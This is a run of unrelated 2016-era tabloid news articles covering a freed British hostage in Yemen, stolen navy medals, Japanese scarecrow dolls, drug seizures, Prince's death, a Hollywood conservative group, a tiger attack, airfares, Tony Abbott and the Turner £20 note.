Mrs Semple acknowledges it was stressful and worrying time for her and her three sons, but played down quite how traumatic the ordeal might have been.

Knowing he had no option, Mr Semple did attempt to escape.

After nine months in a concrete cell, he'd managed to wear down a link in his chain against the wall, until it broke.

His captors asleep, he took his chance. This bid for freedom failed when one of his captors woke up.

He was re-chained by his hands and feet and, moved to a tiled room.

Periodically Bob was taken out of his cell and put in front of a camera to record a message home. Sallie never saw them.

Mr Semple said: 'My real worry about the videos was that they would actually video me getting my head chopped off and I would break down at that point.

'And I thought I'm not going to give you the satisfaction.'

Then, after 16 months as a hostage, Bob's captors placed a television in his room.

It didn't work, but one day it came to life and what he saw brought him out of the depths of despair.

He said: 'They gave me the television because there was no electricity... even the kettle because there was no electricity.

'And then one day, I was really, really down in the dumps and suddenly the television burst to life and Terry Waite was on the news. I thought stop being a wuss. He did four years.'

Back home in the UK, Sallie had virtually given up hope her husband would be found.

Mr Semple had been working in the Yemeni capital Sana'a when he was ambushed by armed militants

Adding to the stress and worry, were financial pressures. Unable to run a busy household of three sons on her nurse's salary, Sallie was forced to sell their home and downsize.

Mrs Semple said: 'Where we lived then was the last place that Bob had been, the last place we'd been together as a family. And unfortunately we couldn't afford to live there.'

Mr Semple had been gone for well over a year when Sallie began to look for help. Having served 22 years in the army as an engineer, ABF The Soldiers' Charity came to her support.

Within days of hearing about her situation, they had money in her account to help pay her bills and mortgage.

Strong and stoic, the only time Bob gets emotional is when he speaks of his wife during this time.

'It was easy for me. Tough for her,' Mr Semple added.

Bob's rescue came on August 24 last year.

He'd been blindfolded and held in the boot of a car for more than ten hours by his captors, when it burst open. He felt a hand on his arm and a voice say: 'You're safe now.'

Mr Semple said: 'I didn't immediately believe that because people like to play mind games when you're in a situation like that.

'I took it with a pinch of salt. I didn't believe I was safe until I saw the black hawk helicopter came down and picked me up.'

It was UAE Special Forces. He immediately asked to remove his blindfold but was told not to. He thinks this was to protect the identity of those who helped save him.

Abductions are frequent as armed tribesmen and Al Qaeda-linked militants take hostages in the hope of swapping them for prisoners or cash (file picture)

He still doesn't know exactly who was responsible for rescuing him.

His only clue were the words 'I am Salim' whispered in his ear while he was still blindfolded.

He remembers giving a young Yemeni man with this name a job a few years before. He believes it was him that alerted authorities as to where he was being held  and saved his life.

565 days after Bob was taken, he found himself being flown to Abu Dhabi.

His kidneys had begun to fail during his time in captivity, his muscles had wasted.

He was seen by medics in the United Arab Emirates, before crucially meeting the British Ambassador who handed him a phone. It was Sallie.

Since returning to the UK in August, Bob has never told his story until now.

His priority was for he and his family to recover from the trauma of what they'd been through. For a time Bob would still feel the chain on his leg while he slept.

And even now, being home with his wife and children, he says, still feels 'surreal'.

He said: 'We've been together 25 years but it's like starting over again. It's like starting over. You've got to get to know eachother again because you've both been through a trauma.

'We're learning to live with each other again'

Former hostage, Terry Waite called him to welcome him home.
An elderly navy veteran has been left devastated after callous thieves stole his war medals and wedding ring belonging to his late wife just days ahead of the Anzac commemoration.

Len Pepyat, 87, was recovering in hospital from major spinal surgery when the 'lowest of life' broke in and ransacked his Frankston home, south of Melbourne, stealing seven medals awarded during his 20 years service, according to 9 News.

The thieves also fled with wedding rings belonging to Mr Pepyat's family members and his late wife.

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Elderly navy veteran Len Pepyat has been left devastated after callous thieves stole his war medals and wedding ring belonging to his late wife just days ahead of the Anzac commemoration

Len Pepyat, 87, was recovering in hospital from major spinal surgery when the 'lowest of life' broke in and ransacked his Frankston home

The thieves also made off with Mr Pepyat's Malaysia medal and an Australian General Service Medal for service during the 1950s and 1960s

The thieves also fled with wedding rings belonging to Mr Pepyat's family members and his late wife

'I feel terrible about it, that's the only thing i can say,' he said in the news report.

'They were things so dear to me. They can't even sell them, but they're priceless to me.

'(They are) the lowest of life - on earth.'

The medals had been awarded for his service aboard navy vessels including the HMAS Anzac and Tobruk, a Malaysia medal and an Australian General Service Medal during the 1950s and 1960s, according to the 9 News report.

The medals had been awarded for his service aboard navy vessels including the HMAS Anzac and Tobruk

RSL Victoria President Major General David McLachlan said he was 'appalled' by the robbery and that they had taken away a piece of the 'fabric of the individual'

'Why would they take them, that's all I'm asking, why would they take them,' he said.

Since the incident, Mr Pepyat has reportedly decided to move into RSL supported housing.

RSL Victoria President Major General David McLachlan said he was 'appalled' by the robbery and that they had taken away a piece of the 'fabric of the individual'.
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A Japanese artist is crafting mannequins and positioning them around her tiny village in a bid to replace her neighbours when they move away or die.

Tsukimi Ayano, 67, is fashioning the scarecrow-like dolls in Nagoro, southern Japan, which now has fewer than 35 inhabitants as the population ages.

Her hobby is an eccentric response to an increasingly common problem - more than 10,000 towns and villages in Japan are depopulated and crumbling as the countryside empties.

A Japanese artist is crafting mannequins and positioning them around her tiny village in a bid to replace her neighbours when they move away or die

Tsukimi Ayano, 67, is fashioning the scarecrow-like dolls in Nagoro, southern Japan, which now has fewer than 35 inhabitants as the population ages

Her hobby is an eccentric response to an increasingly common problem - more than 10,000 towns and villages in Japan are depopulated and crumbling as the countryside empties

The artist's mannequins litter the one-street town which is mostly abandoned, its shops and homes permanently shuttered and closed

The one-street town is mostly abandoned, its shops and homes permanently shuttered. With no youngsters left to raise, the local elementary school closed four years ago.

Now Ms Tsukimi sometimes guides visitors through the spotless classrooms populated with 'scarecrow' students and teachers.

She is one of the younger residents of Nagoro, which is nestled in the rugged mountain landscape of the southern island of Shikoku.

She moved back from Osaka to look after her 87-year-old father. 'They bring back memories,' Ms Tsukimi said of the life-size dolls.

'That old lady used to come and chat and drink tea. That old man used to love to drink sake and tell stories. It reminds me of the old times, when they were still alive and well,' she said.

The scarecrows are crowded into corners of her farmhouse, perched on fences and trees, huddled side-by-side at a produce stall, the bus stop - anywhere a living person might stop.

Ms Tsukimi is one of the younger residents of Nagoro, which nestled in the rugged mountain landscape of the southern island of Shikoku

With no youngsters left to raise, the local elementary school closed two years ago. Now Ms Tsukimi sometimes guides visitors through the spotless classrooms

Ms Tsukimi moved back from Osaka to look after her 87-year-old father. 'They bring back memories,' she said of the life-size dolls

Ms Tsukimi said that making the mannequins 'reminds me of the old times, when they were still alive and well'. They replace her friends and neighbours

As Japan grew increasingly affluent after the Second World War, younger Japanese abandoned the countryside, flooding into the cities for jobs in factories and service industries, leaving their elders to tend small farms.

Greater Tokyo, with more than 37million people, and Osaka-Kobe, with 11.5million, account for nearly 40 per cent of the country's 127million people, with another 10million scattered in a handful of provincial capitals.

'There's been this huge sucking sound as the countryside is emptied,' said Joel Cohen, a professor at Columbia University's Laboratory of Populations.

Meanwhile, a falling birthrate means there are too few people to repopulate rural areas as the rapidly ageing population left tending the fields die off.

Japan's population began to decline in 2010 from a peak of 128 million. Without a drastic increase in the birthrate or a loosening of the staunch Japanese resistance to immigration, it is forecast to fall to about 108 million by 2050 and to 87 million by 2060. By then, four in 10 Japanese will be over 65 years old.

The scarecrows are crowded into corners of her farmhouse, perched on fences and trees, huddled side-by-side at a produce stall, the bus stop - anywhere a living person might stop

'That old lady used to come and chat and drink tea. That old man used to love to drink sake and tell stories. It reminds me of the old times, when they were still alive and well,' the artist said

As Japan grew increasingly affluent after the Second World War, younger Japanese people abandoned the countryside for the cities

When Ms Tsukimi returned to her hometown 15 years ago, she initially tried farming. Thinking her radish seeds may have been eaten by crows, she decided to make some scarecrows.

Now there are more than 100 scattered around Nagoro and other towns in Shikoku.

Like handcarved Buddhist sculptures, each has its own whimsical expression. Some sleep, their eyelids permanently shut. Others cuddle toddler scarecrows, or man ploughs and hoes.

Ms Tsukimi brings one along for company on her 90-minute drive to buy groceries in the nearest big town.

People have flooded into sprawling metropolitan areas for jobs in factories and service industries, leaving their elders to tend small farms

'There's been this huge sucking sound as the countryside is emptied,' said Joel Cohen, a professor at Columbia University's Laboratory of Populations

But most remain behind, to be photographed and marvelled at by tourists who detour through the winding mountain roads. 'If I hadn't made these scarecrows, people would just drive right by,' she said.

According to Japan's Statistic Bureau, the percentage of people over 65 years old in Japan is 26.8 per cent while that of the the world is 8.2 per cent.

The National Institute of Population and Social Security Research in Tokyo, Japan's population, now around 128 million, is expected to dip below 100.

A falling birthrate means there are too few people to repopulate rural areas as the rapidly ageing population left tending the fields die off

Thinking her radish seeds may have been eaten by crows, Ms Tsukimi decided to make some scarecrows. Now there are more than 100 dolls scattered around Nagoro and other towns in Shikoku
A plot to smuggle 10million of drugs into Britain by helicopter has been foiled by police and 'Britain's FBI' after a dramatic motorway chase, it was revealed today.

Forty kilos of cocaine and 60 kilos of heroin were found stashed in a car on the M26 in Kent yesterday at around 6pm.

The drugs were smuggled into the UK in a helicopter flown to Redhill Aerodrome in Surrey from Belgium.

Seized: Police have grabbed 10million of cocaine and heroin after it was flown into Britain from Belgium in this helicopter

The cocaine and heroin was intercepted following a joint operation involving the National Crime Agency and Scotland Yard.

A 38-year-old man from North Kensington, west London, was arrested on the M26 motorway that links the M25 and M20 as a Scotland Yard helicopter hovered above.

Minutes later NCA officers moved in to arrest two Dutch nationals, aged 26 and 27, at Redhill Aerodrome in Surrey.

The pair had flown in to Redhill in a helicopter from Belgium earlier in the day, police said.

All three are now being questioned by detectives who have also impounded the helicopter.

Gary Fennelly, head of NCA's Gatwick border investigation team, said: 'This international operation has successfully prevented a large quantity of class A drugs making it onto the streets of the UK.

'If cut and sold it is likely this haul would have had a potential street value in excess of 10 million.

'Working with partners like the Met Police we are determined to do all we can to disrupt the organised crime networks involved in drug trafficking.'

Raid: A Scotland Yard helicopter hovers over the M26 at around 6pm last night as a car filled with drugs was stopped and the driver from London arrested
For more of the latest Sydney news visit www.dailymail.co.uk/sydney

His wife has voiced her devastation at the news he was found guilty

A Sydney tow truck driver is 'crushed' he may serve life imprisonment in Fiji after being found guilty of drug possession.

Joseph Abourizk's wife has voiced her devastation at the prospect of her husband spending life behind bars after a judge found him guilty of possessing 50 kilograms of cocaine.

Joseph Abourizk, 30, was holidaying in Fiji when he was caught with the $15 million dollar quantity of the drug at Vuda Marina in July 13, 2015,Sydney Morning Herald.

Joseph Abourizk, 30, pictured, was holidaying in Fiji when he was allegedly caught with $15 million dollars of cocaine at Vuda Marina

''He's crushed, we're all crushed...There was no doubt in our minds he was returning home,' Mrs Abourizk said.

'Now my husband spends the next year awaiting a fair reopening of this matter in a Third World country away from his wife, family and daughter whose birth was robbed of him.'

Mr Abourizk maintains his innocence despite a judge finding him guilty of possessing $15 million dollars worth of cocaine uncovered in a car he was driving.

'Every single one of the assessors who heard the evidence found him not guilty and yet next week he will be sentenced.'

Mr Abourizk had been holidaying with his wife but she had left early for work commitments so Mr Abourizk stayed and took a charter cruise off the west coast of the country.

But on the day of the cruise he was arrested after arriving at the marina in Vuda with the charter boat captain and his co-accused.

Mrs Abourizk has voiced her devastation at the prospect of her husband spending the rest of his life behind bars after a judge found him guilty of possessing 50 kilograms of cocaine

According to the defence case the captain of the boat traveled to Ba with Mr Abourizk and a local man, and co-accused Josese Muriwaqa.

The men picked up two suitcases, which would later be found to be carrying almost 50kg of cocaine.

When the men returned to the marina to commence their trip they were arrested by Fijian Police, the captain had allegedly left the vehicle shortly before the authorities arrived.

'His position is very simple  he had no idea what was in the captain's bags,' Mr Korn said.

He has spent nine months in jail and missed the birth of his first child, Penelope.

The drug trial began in the High Court in Lautoka on Maerch 29 before Justice Thushara Rajasinghe.

The Australian man is being represented by Mr Korn, Sydney barrister Murugan Thangaraj, SC, and Lautoka lawyer Iqbal Khan.
Prince's former fiancee and collaborator Sheila E has paid a touching tribute to the pop superstar as she vowed to 'find out' how he died.

'It's unreal. It's surreal. I miss him dearly,' she told Good Morning America from Minneapolis, after flying from Los Angeles last night on hearing news of Prince's death at the age of 57.

Sheila E and Prince met in 1978 at one of his concerts in Oakland, California, in 1978 and went onto work together on a string of hits, including her biggest, The Glamorous Life and A Love Bizarre.

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More than lovers: Prince's former fiancee and collaborator Sheila E (pictured together in 2007) has paid a touching tribute to the pop superstar as she vowed to 'find out' how he died

'It's unreal. It's surreal. I miss him dearly': Sheila E and Prince met in 1978 at one of his concerts in Oakland, California, in 1978 and went onto work together on a string of hits

She also sang on a number of his tracks, providing backing vocals in Erotic City and Let's Go Crazy, as well as playing percussion.

Prince proposed to Sheila E live on stage during a performance of Purple Rain years later, and she said yes.

'I was playing drums at the time. He turned around and looked at me and asked me to marry him and I said, "Yes",' she said.

The pair never married and split up some years later.

Engaged: Prince proposed to Sheila E live on stage during a performance of Purple Rain years later, and she said yes

Sheila refused to be drawn on her fondest memories of time spent with her former lover, saying 'they are our moments'.

'He was a private person. Everyone knows that and there's things that we have shared, him and I together, that people will never know,' she said.

Sheila remained close with Prince in his final years but said she was unaware of any serious illness he may been suffering.

Prince had reportedly overdosed days before his death and was treated for 'flu' symptoms.

'We know that he's had issues with his hips,' she said.

'If you look back in the days of Purple Rain when he was on top of risers and jumping down off risers in those heels, you know, it damaged parts of his body.'

'I know we're always injured when we play on stage,' she said. 'I don't know anything other than that.'

Sheila told TMZ that she was heading to Minnesota to 'find out' how he died.

The pop star was just one of Prince's many lovers, and was sleeping with him while he was engaged to Susannah Melvoin, whose twin sister was in his band.

Last night it was reported that Prince was treated for an overdose just six days before he was found dead in his Minnesota estate on Thursday.

News of the alleged overdose came as photos emerged of Prince walking out of a Walgreens pharmacy just 15 hours before he was pronounced dead.

Prince's private plane made an emergency landing in Moline, Illinois, on Friday after he performed in Atlanta so he could be rushed to hospital.

Private: Sheila (pictured last year) refused to be drawn on her fondest memories of time spent with her former lover, saying 'they are our moments'

The superstar musician combined rock, R&B, soul and hip-hop to create a unique sound that led to him selling more than 100million records during his 40-year career

Though his representatives said he was battling the flu, multiple sources told TMZ that doctors gave him a 'save shot', which is usually given in dire circumstances to drug overdose victims.

The sources said that doctors advised Prince to stay at the hospital for 24 hours, but when he wasn't given a private room, he and his representatives decided to leave. When he left the hospital, Prince 'was not doing well', the sources added.

He was released three hours later and made an appearance at a party in Minnesota the next day, telling fans to 'wait a few days before you waste any prayers'.

The 57-year-old music icon was then seen at about 7pm on Wednesday at a Walgreens pharmacy looking 'frail and nervous' with a group of employees or friends. It was his fourth visit to the pharmacy this week.

It is unknown why he went to the store himself or if he picked up a prescription, though per Walgreens protocol, anyone with Prince's phone number and address could have retrieved medication for him.

Prince was then found unresponsive in the elevator at his suburban Paisley Park estate in Minnesota at 9.43am EST on Thursday and was pronounced dead less than 30 minutes later.

His cause of death is not known, but in a call to paramedics on the way to Prince's home, a 911 dispatcher said: 'Male down, not breathing.'
A rift had been created in the group between Ted Cruz supporters and a vocal minority who were supporting Donald Trump in the primary

A secret conservative group whose members have included some of Hollywood's biggest stars is dissolving due to increased tensions caused by a 'vocal minority' in the group who are supporting Donald Trump in the Republican primary.

After weeks of infighting among individuals in the group, the approximately 2,000 members of Friends of Abe received an email Thursday in which they were told that the organization was being disbanded.

Clint Eastwood, Kelsey Grammer, Patricia Heaton, Jon Voight, Dennis Miller, Jerry Bruckheimer and writer David Mamet are just a few of the Hollywood heavyweights who have been a part of the group over the years, which was founded in 2004 by Forrest Gump actor Gary Sinise.

The email sent to members on Thursday did not say the exact reason behind the sudden move, but in a post on the Friends of Abe Facebook page later that day it was revealed that there had been a growing divide among the group's members which was brought on by the heated Republican primary.

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Trouble: The approximately 2,000 members of Friends of Abe received an email Thursday saying the group was being disbanded after weeks of infighting over Donald Trump (above on Thursday)

Differing views: Clint Eastwood (left in November) was reportedly supporting Marco Rubio in the primary, while member Jon Voight (right in August) endorsed Trump

Troubles: A rift had been created in the group according to a former member between Ted Cruz (above on Thursday) supporters and a vocal minority who were supporting Donald Trump

The email sent out to Friends of Abe members was first released by Truth Dig, who obtained the letter from David Stein, a former member of the group.

'Effective immediately, we are going to begin to wind down the 501 c 3 organization, bring the Sustaining Membership dues to an end, and do away with the costly infrastructure and the abespal.com website,' read the email.

The letter then went on to say that this move meant 'an end to the standing organization, but not an end to the mission or the fellowship.'

The mailing list would still be maintained members were told and there would still be events.

Stein was able to provide some insight as to the lines that are being drawn inside the group, saying that at the start of the primary it was Marco Rubio who had most of the group's support after being favored by Eastwood, who he referred to as the 'paterfamilias' of Friends of Abe.

The secret conservative group, named after Abraham Lincoln, was founded in 2004

When Rubio dropped out of the race members were left to choose between Trump and Ted Cruz, with most choosing Cruz according to Stein.

And while the Trump supporters inside the organization may be in the minority they have at least one powerful member of the organization on their side in Voight, who publicly announced his support for The Donald in early March.

Voight said of Trump in an interview with Breitbart at the time; 'Hes an answer to our problems. We need to get behind him. The Republicans need to unite behind this man. We need somebody to go in and reconstruct us in a sort of way, get us back to where we were, who we need to be.'

The actor's endorsement of Trump also came while Rubio, Eastwood's pick in the primary, was still in the race.

The Florida senator dropped out six days after Voight's call for Republicans to get behind Trump.

It is not clear who Eastwood is now supporting, but he said last year that he believed Trump would be a better president than Obama.

Leader: The organization was started by Forrest Gump actor Gary Sinise (above in December)

Fans: Patricia Heaton (left in November) and Kelsey Grammer (right in February) were also members of the group at one point

Cruz meanwhile endeared himself to the group back in early 2014 when he helped them in their efforts to become recognized as a nonprofit organization by the IRS.

Stein claims that Sinise had been telling members since as early as 2010 that they had been approved for nonprofit status, but they kept running into problems.

It was later revealed that part of the delay in getting the approval came from the fact that the organization would not submit a list of their members to the agency, with Sinise saying that members of the group valued their privacy.

Cruz then stepped in to help, getting vocal about the delay in February of 2014 and telling The Hollywood Reporter that the IRS asking for a list of members was akin to a 'McCarthyite request for information.'

A month later Friends of Abe was approved for nonprofit status.

And now, two years after clearing that hurdle, the organization is no more.

Lionel Chetwynd, an Oscar-nominated screenwriter who helped Sinise while he was founding the organization, almost seemed to predict the collapse in an interview with The Guardian earlier this month.

When asked about Trump and the Republican primary he said; 'Its a civil war in slow motion.

'Its too volatile. Ive never known an election to be so personal. People dont really sit around any more and talk about their preferences because its a time of inflamed passions.
One of the most prestigious public schools in the country is screening students for mental health problems using an online test.

Harrow School in London is putting children through two online assessments a year, based on the kind of psychometric testing that is often used to assess job applicants in business.

It is one of 13 schools - both primary and secondary - to use new technology to assess pupils mental wellbeing. Nine more schools are expected to launch pilots in September.

Harrow School (pictured) in London is putting its students through two online assessments a year

Teachers at the 36,000-a-year school hope the tests will flag up whether pupils are at risk of mental health issues, self-harm or drug abuse early so that children can be referred to pastoral care services.

The assessments measure how children steer their way through day-to-day social, emotional and environmental challenges.

If a pupils data suggests that they are at risk of failing to cope, teachers create tailored action plans which can be shared among staff across the school.

Teachers can also compare data and patterns of responses from groups of pupils in different parts of the school  for example, year groups or boarding houses.

Harrows pilot project of the Affective Social Tracking system was carried out in three of its houses this year.

Peter Bieneman, senior master and director of boarding at Harrow, told the Times Educational Supplement: When we were debriefed on the first set of results, one of our house masters said it was as if she knew the individuals she was describing  yet she had never met them, only seen their data.

It enables us to work out, with even more certainty, which boys need help and where to focus I that boys life.

Winston Churchill is just one of the famous alumni of the 36,000-a-year school in London

Harrows pilot project of the Affective Social Tracking system was carried out in three of its houses this year

Typically, the early warning system finds that around 10 per cent of pupils need extra support.

Chris Jeffery, headmaster of the Grange School in Cheshire and chair of the Headmasters and Headmistresses conference wellbeing working group, said his school was trialling the method too.

The system was developed by cognitive scientist Simon Walker and his wife Jo, a former deputy head and local authority advisor on behavioural, emotional and social difficulties.

It was based on research that involved 15,000 pupils.

Dr Walker said that the system was about being more efficient in assessing pupils and that hard data helped schools in convincing parents to support them in assisting an at risk child.
A big cat expert has attacked a Florida zoo over its decision to tranquilize a rare tiger who had fatally attacked keeper Stacey Konwiser last week instead of shooting the animal dead because it delayed her receiving treatment.

Stacey Konwiser was killed by the 13-year-old Malayan tiger called Hati at the Palm Beach Zoo last Friday.

Staff shot the animal with a tranquilizer dart instead of using lethal force, which could have led to delays in Konwiser receiving treatment.

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Stacey Konwiser, left, was killed by a 13-year-old male Malayan Tiger called Hati, right, on April 15 in Florida

Stacey's husband Jeremy, right, urged people to stand by the Palm Beach Zoo where his wife, left, was killed

Federal and state authorities are investigating the cause behind last week's tragedy at the zoo, pictured.

Ron Magill of Zoo Miami said in situations where a big cat or other large carnivore was threatening a human then 'unfortunately that is a death sentence for that animal'.

He told NBC News: 'Our policy would be yes, if a tiger is on top of a human being here, we're not going to anesthetize it. We're going to shoot it to facilitate rescuing that human as quickly as possible. Seconds count in trying to save someone's life.'

In an online statement, the zoo defended tranquilizing the tiger Friday. The statement says the zoo considers human safety, the configuration of the area and whether a bullet could ricochet when deciding whether to shoot or tranquilize an animal.

Following the tragedy, police in Palm Beach have been forced investigated death threats against the endangered tiger.

Zoo spokeswoman Naki Carter added: 'We are equipped to tranquilize and we are equipped to shoot to kill. There are a lot of things to consider.

Jeremy Konwiser, left, worked alongside his wife Stacey, right at the Palm Beach Zoo in Florida

Police are now investigating a threat against the tiger made by a member of the public.

A police report states that a man phoned up asking if the beast had been euthanized.

When the receptionist told the man she wasn't comfortable speaking about it, he allegedly replied: 'You better watch your zoo. We will handle it ourselves.'

In a statement read to WPTV.com, Zoo spokeswoman Naki Carter said: 'This is an ongoing investigation. I've received a lot of requests about the Malayan Tiger that received the threat.

'Safety remains the top priority for Palm Beach Zoo. Our family remains a top priority moving forward in Stacey's honor remains a top priority and protecting the integrity of the investigation remains a top priority.'

The tiger, who has not been officially named by the zoo, is thought to be 13-year-old Hati.

In a statement, the zoo said: 'Identifying the animal only serves to stigmatize and potentially places the tiger in harms way.

'The Zoo continues to cooperate with multiple agencies involving the tragedy. The Zoo is an organization deeply committed to species survival. The Zoo has no interest in assisting, allowing or encouraging blame on one of only 250 Malayan tigers remaining in existence.

'The male Malayan tiger involved in the April 15 incident has never been blamed or identified. His future has never been in jeopardy. His age has never been divulged. He has never been involved in any other incident at Palm Beach Zoo. The Zoo has never had any other animal-related human deaths in its 60-year history.'

The threat to the tiger emerged as Konwiser's husband Jeremy called on members of the public to stand by the Palm Beach facility.

'Stacey would want me to ask everyone to stand with the Palm Beach Zoo,' he said in a statement.

The zoo, which has four similar tigers, serves as a 'breeding ground to make sure they don't become extinct'.

The investigation into the keeper's death is being carried out by West Palm Beach police, Florida Fish and Wildlife officials and by federal authorities with the Occupational Safety and Health Administration.

The Animal Legal Defense Fund says the zoo keeper's death was preventable and urged federal authorities to impose penalties against the zoo.

'As long as employees are allowed to work in dangerously close proximity to tigers, elephants, and other dangerous animals, a significant risk of serious injury or death persists,' said the California-based group said in a statement.
The story has sparked outrage in Austria after

A migrant couple who have nine children and receive nearly 5,000 a month in benefits want state-funded IVF treatment in Austria.

The couple, whose names are not known, fled Afghanistan for Austria - the man arriving in 2011 and the 44-year-old woman in 2013.

Two of their children have disabilities so severe that doctors believe they would die without medical treatment.

But the couple remain determined to have a tenth child and have turned to Austria's IVF fund to cover the cost.



The couple, who fled Afghanistan for Austria, have nine children and receive nearly 5,000 a month in benefits. File picture: Refugees and migrants, mostly from Afghanistan, wait in queues to receive food distributed by the Greek army as the country scrambles to cope with border restrictions imposed by Austria and Balkan countries

FACT BOX TITLE Austria has an IVF fund to financially aid couples with fertility dysfunction in the undertaking of IVF treatment. Under Austria's IVF Fund Act 1999, subsidies cover 70% of treatment costs for a maximum of four cycles in eligible clinics. Factors affecting eligibility: The couple must either be married or in civil union. The couple must be insured in Austria The couple must have an Austrian citizenship, an EU-citizenship or an Austrian resident permit of at least 5 years The woman must not be older than 40 years and the man must not be older than 50 years There must be an existing diagnosed fertility dysfunction in one of the partners Advertisement

The story has sparked outrage in Austria after it was revealed that the family is being paid the equivalent of 4,470 a month in benefits.

According to local media, the woman had been advised that because of her age, there was a limited chance of success - but the pair insisted on going ahead with the attempt.

IVF treatment in Austria can be provided by the health service which pays up to 70 percent of the costs.

In some instances the health service will refuse to pay, with the age of the woman being one grounds for refusal.

But regardless of who pays for the actual IVF, the state will still pay for all of the proprietary work including hospital stays, blood tests, sperm tests and various gynecological costs.

The couple's oldest son is 20 years old, and their youngest child, a daughter, was born in 2011.

For two adults and seven underage children, the family are paid 2,234, and for the two older children they receive a further 659.

The family gets a further 1,577 in family allowances, making up a total of 4,469 per month.

According to local media, the woman had been advised that because of her age, there was a limited chance of success - but the pair insisted on going ahead with the attempt. File picture: Hundreds of migrants arriving at the Hungarian and Austrian border last year




airfares are expected to fall even further in 2016

International airfares are at a 30-year low according to travel agents and airlines.

This week American Airlines offered a return trip to New York from Sydney for just $860 and from Melbourne for $935.

European holiday seekers can travel via Vietnam Airlines to London from Sydney for $1079 or from Melbourne for a low $1063.

International airfares are at a 30-year low according to travel agents and airlines

Airfare prices have been slashed due to a combination of cheap fuel, strong competition a weaker Australian dollar and an excess number of seats to fill.

The introduction of budget carriers such as Jetstar, AirAsia and Tigerair into the market has driven airfares down, and forced premium airlines to slash their prices in order to compete.

Fuel prices have halved over the last 18 months, allowing airlines to make money on routes which previously were making a loss or marginal gain.

The introduction of budget carriers such as Jetstar, AirAsia and Tigerair (pictured) into the market has driven airfares down, and forced premium airlines to slash their prices in order to compete

The 30-year low in prices means more families will consider overseas destinations that may have previously been out of their price range.

Flight Centre boss Graham Turner says he has never seen airfares this low.

IBISWorld's Senior Aviation Industry Analyst Tristan Williams predicts they will go even lower.

Airfare prices have been slashed due to a combination of cheap fuel, strong competition a weaker Australian dollar and an excess number of seats to fill (pictured)

Airfares are forecast to go lower in 2016 because of 'ongoing competition from low-cost airlines which will likely boost passenger numbers but weaken price increases slowing industry revenue growth,' he said.

Popular Australian traveller destinations have fallen significantly over the past year.

In 2015 the cheapest return fare to London from Sydney was $1349- more than 20 percent higher than it is now and the Los Angeles return trip from Sydney has dropped 28 per cent, Fairfax reported.

Graham Turner has created an affordability measure dubbed the Turner index to illustrate just how affordable international travel has become for Australians.

The index shows that an average fare to London is now more than 60 times more affordable for the average income earner that it was in 1947.
Former prime minister Tony Abbott has conceded to mistakes and misjudgments in policy, public opinion and dealings with colleagues that cost him the prime ministership.

Mr Abbott made the admissions in an article set to be published in the May issue of the Quadrant magazine, reported The Weekend Australian.

The article is the third and last in a series where he reviews his government.

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The former prime minister has conceded he made mistakes and misjudgments in policy, public opinion and dealings with colleagues that cost him the prime ministership

The first part of the article is said to be devoted to issues where he believes his government made the right call.

These include climate change same sex marriage, national security laws, stopping the boats and terminating corporate welfare.

In the remainder of the article, The Weekend Australian said Mr Abbott concedes his government failed to rise to the challenge of 'greater fairness, more thoroughgoing justice and deeper empowerment'.

He said: 'I made some unnecessary enemies and left too many friends feeling under-appreciated.

'I cant let pride in what was achieved under my leadership blind me to the flaws that made its termination easier, even if claims were exaggerated or exploited in self-serving ways.'

He also concedes there were some issues the Abbott government could have managed better or not pursued at all.

The first part of the article is said to be devoted to issues where he believes his government made the right call, including climate change, same sex marriage, national security laws, stopping the boats and terminating corporate welfare

Other areas he references include an error in only having one woman in his initial cabinet and that he should have anticipated the 'hostility' in awarding Prince Philip a knighthood.

He also references a mistake in abandoning the change to section 18c of the Racial Discrimination Act in the cause of free speech, and that he should have persisted with reform amendment advocated by crossbench senator Bob Day.

Mr Abbott said he should have known his paid parental leave scheme was 'undeliverable' because of budget realities and that he should have handled initial decisions to curtail MP entitlements 'more sensitively'.

Mr Abbott said it was sad that 'everything had become questionable', even his volunteering in indigenous communities and the annual charity bike ride, the Pollie Pedal

He also said he should have done 'more media', particularly long-form interviews where voters saw a different side of him - 'more personality and less adversarial sparring'.

With regards to his public perception, he said it was sad that 'everything had become questionable', even his volunteering in indigenous communities and the annual charity bike ride, the Pollie Pedal.

At the strategic level, he said his governments biggest problem was 'peoples reluctance to accept that short-term pain might be necessary for long-term gain'.

Mr Abbott said he hopes to address his failures 'in my future public life'.
A man accused of stealing steaks from Walmart led police on a high speed chase in Texas, tossing the meat out his car window while he was on the run.

The suspect, whose name has not been released, drove at speeds over 100mph as he fled a Walmart in Longview at 11am on Wednesday.

Sergeant Marc Nichols of the East Mountain Patrol said one of the steaks bounced off his patrol car as he pursued the suspect, who was eventually arrested in Upshur County less than 20 miles away.

A man who led police on a high speed chase through two counties in East Texas is accused of stealing steaks from Walmart on Wednesday morning

He threw the packaged meat out the window as he fled from the store in Longview. One steak hit a patrol car in pursuit

Police tried to pull the suspect over after he left the store, but he sped off.

Driving at speeds over 100mph, he led police through two counties before he was arrested on Highway 271 in Gladwater, Texas.

Sergeant Nichols told KTLV: 'It appears that theres steaks and meats of some sort flying out the windows, and one of them bounced off the front of my patrol car.

Thats not something you think of people stealing, especially running from the police in the process. Today was a new one'

Nichols told KTLV the suspect eventually surrendered, and no officers were injured in the chase.

Sergeant Nichols (left) said: 'It appears that theres steaks and meats of some sort flying out the windows, and one of them bounced off the front of my patrol car. Today was a new one'
The first plastic 20 note will feature a self-portrait of the artist JMW Turner.

He was chosen by a poll after the Bank of England opened voting to the public for the first time.

Turners self-portrait will be alongside one of his best-known paintings, The Fighting Temeraire, which shows a battleship being towed on its way to be broken up.

The first plastic 20 note will feature a self-portrait of the artist JMW Turner, Governor of the Bank of England Mark Carney (pictuerd) has announced

The note  released in 2020  also has Turners signature from his will and his quote: Life is therefore colour. Bank of England Governor Mark Carney launched the nomination process last year, with a shortlist including Charlie Chaplin, Alfred Hitchcock and Beatrix Potter.

There were almost 30,000 votes and Turner was chosen to replace economist Adam Smith as the face of the 20 note. Plastic 5 notes will enter circulation later this year, while a plastic 10  featuring novelist Jane Austen  will be released in 2017.

Turner is perhaps the single most influential British artist of all time, Mr Carney said yesterday. His work was transformative, bridging the classical and modern worlds.

Artist Tracey Emin said: Its so amazing that an artist has been chosen for the 20 note and an artist who was a wild maverick. Its wonderful that Britains creative side is being honoured in this way.

Turner, who died in 1851, produced about 2,000 watercolours and more than 550 oil paintings in his career.

Voting was opened to the public following an outcry over the lack of female faces  other than the Queen  on banknotes, after Sir Winston Churchill was chosen to replace Elizabeth Fry on the 5 note.
Brooklyn Chief Clerk Diane Haslet-Rudiano has been suspended without pay

